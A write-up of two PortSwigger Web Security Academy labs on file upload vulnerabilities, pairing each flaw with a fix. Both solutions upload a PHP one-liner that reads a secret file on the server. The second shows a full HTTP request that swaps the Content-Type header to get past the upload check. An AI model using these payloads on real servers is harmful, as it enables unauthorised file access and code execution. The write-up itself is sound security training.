Apprentice · updated

File upload vulnerabilities

PortSwigger Web Security Academy · Apprentice

  • #File upload
LevelsApprenticePractitionerExpert

Remote Code Execution via Web Shell Upload

The vulnerability

You can upload any file as an avatar, and the server runs PHP files. So you upload a small web shell and read the secret with it.

Fix: Only allow the file types you need, and store uploads where the server doesn’t execute them.

The lab

Open the lab on PortSwigger

This lab contains a vulnerable image upload function. It doesn’t perform any validation on the files users upload before storing them on the server’s filesystem.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

Solution

1. Create a PHP Web Shell: Create a simple PHP file (e.g., exploit.php) with the following content. This code will execute a system command to read the target file.

<?php echo file_get_contents('/home/carlos/secret'); ?>

2. Log In and Upload the File: Log in to the application using the credentials wiener:peter. On your profile page, upload the exploit.php file as your avatar.

3. Execute the Web Shell: The application will process the upload and store the file in a web-accessible location. Right-click on your new avatar image and select “Open Image in New Tab.” The server will execute the PHP file, and the new tab will display the content of the /home/carlos/secret file, and the lab is solved.

Web Shell Upload via Content-Type Restriction Bypass

The vulnerability

The server only accepts images, but it believes what the Content-Type header says. You change the header and upload PHP anyway.

Fix: Check the file itself, not the header.

The lab

Open the lab on PortSwigger

This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

Solution

1. Create a PHP Web Shell: Create a PHP file (e.g., exploit.php) with the following content.

<?php echo file_get_contents('/home/carlos/secret'); ?>

2. Attempt Upload and Intercept Request: Log in as wiener:peter and try to upload your exploit.php file as an avatar. The upload will be blocked. In Burp Suite's Proxy → HTTP history, find the POST /my-account/avatar request that was just blocked and right-click to Send to Repeater.

3. Bypass Content-Type Restriction: In Repeater, change the Content-Type header in the request from text/php to a valid image type, such as image/jpeg.

POST /my-account/avatar HTTP/2 
Host: 0ad30091047271ee8180623100c10090.web-security-academy.net 
Cookie: session=RvU8fwvucQu6jBfIEJWMkCENiy52N4wF 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Content-Type: multipart/form-data; boundary=----geckoformboundaryf00dde84f3fe91ff1048b02a4bff15ee 
Content-Length: 531 
Origin: https://0ad30091047271ee8180623100c10090.web-security-academy.net 
Sec-Gpc: 1 
Referer: https://0ad30091047271ee8180623100c10090.web-security-academy.net/my-account?id=wiener 
Upgrade-Insecure-Requests: 1 
Sec-Fetch-Dest: document 
Sec-Fetch-Mode: navigate 
Sec-Fetch-Site: same-origin 
Sec-Fetch-User: ?1 
Priority: u=0, i 
Te: trailers  

------geckoformboundaryf00dde84f3fe91ff1048b02a4bff15ee 
Content-Disposition: form-data; name="avatar"; filename="exploit-file-get.php" 
Content-Type: image/jpeg  

<?php echo file_get_contents('/home/carlos/secret'); ?>
------geckoformboundaryf00dde84f3fe91ff1048b02a4bff15ee 
Content-Disposition: form-data; name="user"  

wiener 
------geckoformboundaryf00dde84f3fe91ff1048b02a4bff15ee 
Content-Disposition: form-data; name="csrf"  

Lp0Ew2x6kqJ704ALz5Lno9m6cYGGqEsZ 
------geckoformboundaryf00dde84f3fe91ff1048b02a4bff15ee--

4. Execute the Web Shell and Solve: Send the modified request. The server will now accept the file. Go back to the profile page, right-click on your avatar, and select “Open Image in New Tab.” The server will execute the PHP code, displaying the contents of /home/carlos/secret and the lab is solved.